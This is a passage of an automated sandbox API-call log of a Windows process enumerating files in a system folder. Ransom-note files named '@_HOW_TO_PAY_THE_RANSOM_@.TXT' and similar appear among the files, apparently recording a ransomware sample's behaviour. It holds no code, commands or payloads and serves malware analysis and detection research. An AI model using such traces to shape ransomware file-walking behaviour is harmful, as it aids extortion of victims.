[0252.981] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\tables\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.982] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0252.982] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea7b57f, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdea7b57f, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdea7b57f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x3, cFileName="1cb0", cAlternateFileName="")) returned 1 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.982] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23845f6, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd23845f6, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdea7b57f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x3, cFileName="1cb1", cAlternateFileName="")) returned 1 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.982] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23845f6, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd23845f6, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaa16dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x3, cFileName="1cb2", cAlternateFileName="")) returned 1 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.982] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23aa753, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd23aa753, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaa16dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x82b, dwReserved0=0x0, dwReserved1=0x3, cFileName="1th0", cAlternateFileName="")) returned 1 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.982] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.982] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.982] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23d08b0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd23d08b0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaa16dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7d5, dwReserved0=0x0, dwReserved1=0x3, cFileName="1th1", cAlternateFileName="")) returned 1 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.983] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23d08b0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd23d08b0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaa16dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7d5, dwReserved0=0x0, dwReserved1=0x3, cFileName="1th2", cAlternateFileName="")) returned 1 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.983] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23f6a0d, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd23f6a0d, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaa16dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x3, cFileName="2cb0", cAlternateFileName="")) returned 1 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.983] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23f6a0d, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd23f6a0d, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeac783b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x3, cFileName="2cb1", cAlternateFileName="")) returned 1 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.983] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd241cb6a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd241cb6a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeac783b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x3, cFileName="2cb2", cAlternateFileName="")) returned 1 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.983] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.983] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.984] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd241cb6a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd241cb6a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeac783b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x3, cFileName="2th0", cAlternateFileName="")) returned 1 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.984] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2442cc7, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2442cc7, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeac783b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c6, dwReserved0=0x0, dwReserved1=0x3, cFileName="2th1", cAlternateFileName="")) returned 1 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.984] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2468e24, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2468e24, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeac783b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa31, dwReserved0=0x0, dwReserved1=0x3, cFileName="2th2", cAlternateFileName="")) returned 1 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.984] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14244480, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14244480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14244480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.984] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1426a5e0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.984] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.985] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14244480, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14244480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.985] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2468e24, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2468e24, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaed999, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="absthr_0", cAlternateFileName="")) returned 1 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.985] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24b50de, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd24b50de, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaed999, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x19f3, dwReserved0=0x0, dwReserved1=0x3, cFileName="absthr_1", cAlternateFileName="")) returned 1 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.985] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24b50de, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd24b50de, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaed999, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a8f, dwReserved0=0x0, dwReserved1=0x3, cFileName="absthr_2", cAlternateFileName="")) returned 1 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.985] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24b50de, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd24b50de, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaed999, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x3, cFileName="alloc_0", cAlternateFileName="")) returned 1 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.985] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.986] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24db23b, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd24db23b, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeaed999, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1265, dwReserved0=0x0, dwReserved1=0x3, cFileName="alloc_1", cAlternateFileName="")) returned 1 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.986] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24db23b, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd24db23b, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeb13af7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x3, cFileName="alloc_2", cAlternateFileName="")) returned 1 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.986] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2501398, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2501398, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeb13af7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x3, cFileName="alloc_3", cAlternateFileName="")) returned 1 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) 